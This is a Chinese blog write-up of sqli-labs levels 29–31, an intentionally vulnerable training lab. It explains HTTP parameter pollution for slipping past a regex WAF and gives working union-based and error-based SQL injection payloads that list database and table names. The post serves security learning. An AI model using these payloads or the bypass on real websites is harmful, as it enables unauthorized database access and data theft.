美文网首页
sqli-labs level29-31 参数污染绕waf

sqli-labs level29-31 参数污染绕waf

作者: z1挂东南 | 来源:发表于2019-08-05 11:40 被阅读0次
    先简单的介绍一下参数污染:

    HTTP参数污染原理:通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样:

    1.png

    使用参数污染可以绕过某些WAF,例:

    $sql = "select * from admin where id=1";
    $sql=$sql."".$_POST['bbs'];
    echo $sql;
    $pattern='/^.*union.*$/';
    if(preg_match($pattern, $sql))
    {echo "注入测试";}
    

    在特定情况下 bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3
    可以绕过一些waf,在CTF中也有出现。将参数分离写入,waf在输入之后就开始拦截,在后端又拼接成完整的union,根据一些特定服务器就可以绕过waf进行注入。

    第二十九关

    联合注入,单引号闭合。


    2.png

    这里的正则会检测id值是不是只有数字,如果不是则会跳转到hacked.php。我在网上看到的教程这关是tomcat环境,tomcat在检测到相同的参数名时会使用第一个参数,所以waf会检测第一个参数,检测完没问题后就放行,放行后两个参数在拼接到一起。所以payload:?id=1.1&id=' union select 1,2,3 --+
    但是我的源码环境是php/apache,而且payload也可以用,所以我猜测当时把jsp文件改成php文件的大佬也保留了tomcat的特性。
    接下来就是联合查询注入了:
    数据库:
    ?id=1.1&id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
    数据表:
    ?id=1.1&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

    第三十关

    参数污染,双引号闭合,题目是盲注,但是感觉盲注不了,因为这样写都返回false:
    ?id=1&id=" and 1=1 --+

    3.png

    所以还是和29关一样联合查询注入,双引号闭合,将29关的单引号改成双引号即可。
    数据库:?id=1&id=" union select 1,2,database() --+

    第三十一关

    参数污染,和29关思路一样,双引号括号闭合。
    数据库:
    ?id=1&id=") union select 1,count(*),concat(0x7e,(select database()),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+

    4.png

    数据表:
    ?id=1&id=") union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+

    5.png

    相关文章

      网友评论

          本文标题:sqli-labs level29-31 参数污染绕waf

          本文链接:https://www.haomeiwen.com/subject/erwpdctx.html